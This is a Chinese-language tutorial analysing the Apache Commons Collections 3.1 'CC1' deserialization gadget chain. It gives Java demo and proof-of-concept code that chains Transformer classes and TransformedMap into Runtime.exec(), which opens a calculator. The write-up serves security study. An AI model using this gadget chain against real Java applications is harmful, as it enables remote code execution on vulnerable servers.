CommonCollections1

image.png

简介

Apache Commons Collections是一个第三方的基础类库,提供了很多强有力的数据结构类型并且实现了各种集合工具类,可以说是apache开源项目的重要组件。
CommonsCollections1,反序列化的第一种RCE序列化链
CommonsCollections1反序列化漏洞点仍然是commons-collections-3.1版本

CC1有两个利用链,其一是下方解释那种,另外一种涉及动态代理

利用链

依赖

<dependencies>
        <dependency>
            <groupId>commons-collections</groupId>
            <artifactId>commons-collections</artifactId>
            <version>3.1</version>
        </dependency>
 </dependencies>

此实验Java版本,在Java 8u71以后的版本中修改了触发的类,所以不支持此链的利用,故选择jdk7
image.png

前提知识

我们分析CC1链之前,首先需要知道如下知识
他们组成了CC1链的利用方法

CC1 Demo

首先看一下CC1的demo

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class Main {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.getRuntime()),
                new InvokerTransformer("exec", new Class[]{String.class},
                        new Object[]{"calc"}),
        };
        Transformer transformerChain = new
                ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);
        outerMap.put("zeo", "666");
    }
}

对其中的知识进行解释

Transformer

Transformer是⼀个接⼝,只有⼀个待实现的方法transform

image.png

ConstantTransformer

image.png
  • ConstantTransformer是实现了Transformer接⼝的⼀个类
    • 简单就是你输入什么类,它就返回什么
new ConstantTransformer(Runtime.getRuntime()),
将getRuntime赋给iCOnstant之后,会通过tranform返回

触发的时候
image.png
image.png
会调用ConstantTransformer.transform中,进行将Runtime.getRuntime()进行返回

InvokerTransformer

  • 这个类就是代码执行的关键了
  • 这个类的实现主要采用了反射的方法
  • 简单的说:可以通过这个类反射实例化调用其他类其他方法(任意的方法,也就是命令执行)
  • 只要参数可控,就是任意命令执行
  • 该类的构造方法中传入三个变量,分别是方法名,参数的类型,和参数
image.png
  • 是实现Transformer接口的一个类
  • 又会在transform方法中利用反射的知识,执行了input对象的iMethodName

InvokerTransformer的transform方法中利用了反射,通过反射调用我们传入的类中的方法,所以这类其实就是我们执行恶意命令的核心类

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
        this.iMethodName = methodName;
        this.iParamTypes = paramTypes;
        this.iArgs = args;
    }
public Object transform(Object input) {
        if (input == null) {
            return null;
        } else {
            try {
                //进行反射调用
                //那么如果可以控制输入的iMethodName,iParamTypes,iArgs,input就可以利用这个代码进行代码执行
                Class cls = input.getClass();
                Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
                return method.invoke(input, this.iArgs);
            } catch (NoSuchMethodException var5) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
            } catch (IllegalAccessException var6) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
            } catch (InvocationTargetException var7) {
                throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
            }
        }

image.png
触发器最后会进入到InvokerTransformer中进行反射执行命令
image.png

POC

利用构造函数传入methodName,paramTypes,args 来确定我们调用的方法,参数类型以及参数

String methodName = "exec";
Class[] paramTypes = new Class[]{String.class};
Object[] arg = new Object[]{"open -a Calculator"}; // windows这里换成calc.exe即可

将实例传入transform方法,结合之前传入的methodName,paramTypes,args 可进行代码执行

InvokerTransformer invokerTransformer = new InvokerTransformer(methodName,paramTypes,arg);  invokerTransformer.transform(Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")));

反射在此的理解

Class.forName("java.lang.Runtime").getMethod("getRuntime").invoke(Class.forName("java.lang.Runtime")
invoke
  1. invoke调用普通方法时,传入的必须是实例化后的类
  2. invoke调用静态方法时,传入类即可
invoke(obj,params)
//这里利用invoke调用Runtime中的静态getRuntime方法
private static Runtime currentRuntime = new Runtime();
    public static Runtime getRuntime() {
        return currentRuntime;
}

ChainedTransformer

  • 也是实现Transformer接口的一个类
  • 它就可以承接下一步的操作。
  • 它的主要作⽤:
  • 将内部的多个Transformer串在⼀起
  • 前⼀个回调返回的结果,作为后⼀个回调的参数传⼊

ChainedTransformer类会在构造函数的时候接受 Transformer[] 数组,即列表中的所有元素都要实现 Transformer 接口
image.png
同时在transform方法中会对Transformer数组中的元素按照顺序调用transform方法,同时将上一个元素的返回对象作为输入传递给下一个元素的transform方法中

public class ChainedTransformer implements Transformer, Serializable {
 			.......
}
......
  
    //该方法首先有一个构造函数,将传入的Transformer类型的数组赋值给iTransformers,这里iTransformers是一个数组
public ChainedTransformer(Transformer[] transformers) {
        this.iTransformers = transformers;
    }

//它会将前一个transform返回的结果作为后一个对象的传参,假设我们传入的Transformer[]数组中有两个数据
//new ConstantTransformer(Runtime.getRuntime())
//new InvokerTransformer("exec", new Class[]{String.class},new Object[{"calc"})
public Object transform(Object object) {
        for(int i = 0; i < this.iTransformers.length; ++i) {
            object = this.iTransformers[i].transform(object);
        }

        return object;
}

触发器的时候,会进入到循环中去
image.png

TransformedMap

一个触发器,主要是后面类中的实现类的Transformer()方法

protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
    super(map);
    this.keyTransformer = keyTransformer;
    this.valueTransformer = valueTransformer;
}
  • 它是基本的数据类型Map类的做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个函数。
  • 这个函数,就是⼀个实现了Transformer接⼝的类,这个类也就是链中导向下一环的入口。
  • 第一个参数,要绑定修饰的map,第三个参数就是 valueTransformer就是要执行的Transformer接⼝的类。
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

decorate将我们ChainedTransformer传入到valueTransformer

image.png
outerMap.put("zeo", "666");

image.png
当我们发现往里面填充值得时候,会进入transformValue方法
调用valueTransformer(ChainedTransformer类的实例)的transform方法
image.png

第二次调用的时候调用Runtime对象就会将object进行传入
image.png

分析

  1. 实例化new Transformer的数组,构造中间的小链子,ConstantTransformer和InvokerTransformer不是一个类,但都继承了Transformer,故可以放到Transformer[]接口中去
  2. 小链子中有两个ConstantTransformer,InvokerTransformer,这两个构造好后,放入刚刚提到的ChainedTransformer类里面,他们就是连起来里面,也就是我们常用的Runtime.getRuntime().exec()
  1. 命令执行造好了,还有一个触发ChainedTransformer的方法,就是TransformedMap.decorate方法
  2. 实例化一个map对象,然后修饰绑定上transformerChain这个上面,每当有map有新元素进来的时候,就会触发上面的链
  3. 所以map对象put(“test”, “xxxx”)一下就会触发命令执行成功弹出了计算器

补充

在反射当初static,对象为null,只有非静态,对象才是它本身